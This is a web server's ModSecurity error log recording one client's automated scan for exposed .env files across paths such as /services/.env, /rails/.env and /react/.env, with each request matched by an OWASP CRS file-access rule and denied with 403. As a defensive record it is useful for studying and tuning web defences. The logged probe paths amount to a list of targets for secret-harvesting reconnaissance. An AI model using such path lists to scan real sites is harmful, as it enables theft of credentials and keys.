[Wed Feb 25 06:05:30.808287 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0AAAAAQ&quot;]
[Wed Feb 25 06:05:30.808573 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0AAAAAQ&quot;]
[Wed Feb 25 06:05:30.808759 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0AAAAAQ&quot;]
[Wed Feb 25 06:05:30.822261 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq-cluster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKAAAAAA&quot;]
[Wed Feb 25 06:05:30.822564 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKAAAAAA&quot;]
[Wed Feb 25 06:05:30.822731 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKAAAAAA&quot;]
[Wed Feb 25 06:05:30.847598 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails-api/react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKQAAAAA&quot;]
[Wed Feb 25 06:05:30.847854 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKQAAAAA&quot;]
[Wed Feb 25 06:05:30.848023 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKQAAAAA&quot;]
[Wed Feb 25 06:05:30.880146 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0QAAAAQ&quot;]
[Wed Feb 25 06:05:30.880386 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0QAAAAQ&quot;]
[Wed Feb 25 06:05:30.880544 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0QAAAAQ&quot;]
[Wed Feb 25 06:05:30.902157 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/deployment-agent/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0gAAAAQ&quot;]
[Wed Feb 25 06:05:30.902396 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0gAAAAQ&quot;]
[Wed Feb 25 06:05:30.902551 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0gAAAAQ&quot;]
[Wed Feb 25 06:05:30.931127 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/documents/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0wAAAAQ&quot;]
[Wed Feb 25 06:05:30.931363 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0wAAAAQ&quot;]
[Wed Feb 25 06:05:30.931520 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZX0wAAAAQ&quot;]
[Wed Feb 25 06:05:30.968596 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKgAAAAA&quot;]
[Wed Feb 25 06:05:30.968830 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKgAAAAA&quot;]
[Wed Feb 25 06:05:30.969042 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibKgAAAAA&quot;]
[Wed Feb 25 06:05:31.004218 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/graylog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1AAAAAQ&quot;]
[Wed Feb 25 06:05:31.004449 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1AAAAAQ&quot;]
[Wed Feb 25 06:05:31.004613 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1AAAAAQ&quot;]
[Wed Feb 25 06:05:31.022918 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rasax/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibKwAAAAA&quot;]
[Wed Feb 25 06:05:31.023144 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibKwAAAAA&quot;]
[Wed Feb 25 06:05:31.023307 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibKwAAAAA&quot;]
[Wed Feb 25 06:05:31.045037 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/jaeger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1QAAAAQ&quot;]
[Wed Feb 25 06:05:31.045268 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1QAAAAQ&quot;]
[Wed Feb 25 06:05:31.045429 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1QAAAAQ&quot;]
[Wed Feb 25 06:05:31.089349 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLAAAAAA&quot;]
[Wed Feb 25 06:05:31.089577 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLAAAAAA&quot;]
[Wed Feb 25 06:05:31.089731 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLAAAAAA&quot;]
